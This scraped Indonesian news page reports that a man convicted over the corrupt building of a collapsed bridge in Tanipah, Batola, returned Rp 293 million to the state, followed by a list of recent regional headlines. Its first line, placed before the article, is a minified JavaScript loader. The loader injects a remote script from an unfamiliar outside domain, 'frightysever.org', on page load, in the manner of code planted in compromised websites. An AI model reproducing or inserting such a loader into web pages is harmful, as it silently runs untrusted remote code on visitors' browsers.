(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Terpidana Jembatan Ambruk Tanipah Kembalikan Uang Rp 293 Juta


MARABAHAN, Moment Hari Anti Korupsi 9 Desember 2019, Kejaksaan Negeri Batola berhasil menyelematkan kerugian negara atas kasus korupsi pembagunan jembatan Desa Tanipah, Kecamatan Mandastana senilai Rp 293.408.582.

Kasi Pidsus Kejari Batola Andri Kurniawan mengatakan, awal baru pengembalian kerugian negara karena kasus korupsi jembatan ambruk itu, sedikit demi sedikit mulai terbuka. Untuk pertama kalinya uang ratusan juta dari korupsi jembatan Tanipah dikembalikan kepada kas negara, diserahkan terpidana Yudi Ismani. Adapun besaran uang yang diserahkan, berdasarkan Petikan Putusan Nomor 7/Pid.Sus-TPK/2019/PN. Bjm dalam petikan putusan, Yudi Ismani terbukti secara sah dan meyakinkan melakukan korupsi.

“Terpidana, dihukum 4 tahun penjara dan denda Rp200 juta dengan ketentuan apabila denda tidak dibayar maka akan diganti dengan kurungan penjara selama dua bulan,” ujar Kasi Pidsus Andri Kurniawan.

Selain itu, Andri Kurniawan menambahkan, dalam putusan juga disebutkan uang yang didapatkan dari terdakwa Rp 43.408.582 diperhitungkan sebagai pembayaran uang pengganti terdakwa. Sedangkan uang tunai sebesar Rp50 juta dirampas untuk negara.

Sementara itu, Kepala Kejari Batola La Khanna mengatakan, uang pengganti dan rampasan dalam waktu maksimal 1x 24 jam harus diserahkan kepada BRI Cabang Marabahan sebagai Penerimaan Negara Bukan pajak (PNBP).

“Saat ini juga uang sudah kami serahkan Kepala BRI Cabang Marabahan Syafril,” ungkapnya.

La Khanna berharap, kejadian ini seharusnya menjadi pelajaran dan pengingat bagi semua pihak. korupsi merupakan tindakan yang merugikan. (rendy)

Reporter : Rendy
Editor : Bie


Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

12 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

14 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

15 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

16 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

2 hari ago

This website uses cookies.